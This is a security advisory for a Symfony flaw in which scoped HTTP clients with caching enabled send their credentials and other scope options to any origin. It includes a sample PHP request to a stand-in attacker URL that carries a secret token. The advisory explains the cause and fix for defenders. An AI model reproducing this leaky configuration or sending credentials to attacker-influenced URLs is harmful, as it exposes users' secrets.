# GHSA-4VFR-W5WP-83FR: Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin

- Database: GitHub
- Severity: CVSS 6.3 (Medium)
- Published: 2026-11-25
- Modified: 2026-11-25

## Tracked as

- [CVE-2026-133747](https://cve.now/CVE-2026-133747.md): symfony/framework-bundle credential leak in scoped HTTP client cache

## Affected versions

- symfony/framework-bundle (Packagist): from 7.4, fixed in 7.4.24
- symfony/framework-bundle (Packagist): from 8, fixed in 8.1.12
- symfony/symfony (Packagist): from 7.4, fixed in 7.4.24
- symfony/symfony (Packagist): from 8, fixed in 8.1.12

## Description

### Description

Since Symfony 7.4, `framework.http_client.scoped_clients` can enable caching on a scoped client. FrameworkBundle then puts a `CachingHttpClient` inside the `ScopingHttpClient`, with the options of the scope as default options. `CachingHttpClient` merges them into every request. So the credentials of the scope, like `auth_bearer`, `auth_basic` or an `Authorization` header, are also sent to URLs outside the scope:

```yaml
framework:
    http_client:
        scoped_clients:
            github.client:
                base_uri: 'https://api.github.com'
                headers: { Authorization: 'token GH-SECRET' }
                caching: { enabled: true }
```

```php
$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"
```

Every option of the scope applies outside of it, not only the credentials, for example `verify_peer: false`, a client certificate, `proxy` or `resolve`. Without `caching`, `ScopingHttpClient` sends no option of the scope to `evil.example`. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.

### Resolution

The `CachingHttpClient` of a scoped client is now registered without default options. `ScopingHttpClient` already applies them to the requests that match the scope.

The patches for this issue are available [here](https://github.com/symfony/symfony/commit/b5c9d4329ece256385a84fa06776315beab68974) for branch 7.4 (and forward-ported to 8.1 and 8.2).

### Credits

We would like to thank Nicolas Grekas for reporting the issue and providing the fix.

## References

- https://github.com/symfony/symfony/security/advisories/GHSA-4vfr-w5wp-83fr

Page: https://cve.now/GHSA-4VFR-W5WP-83FR

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
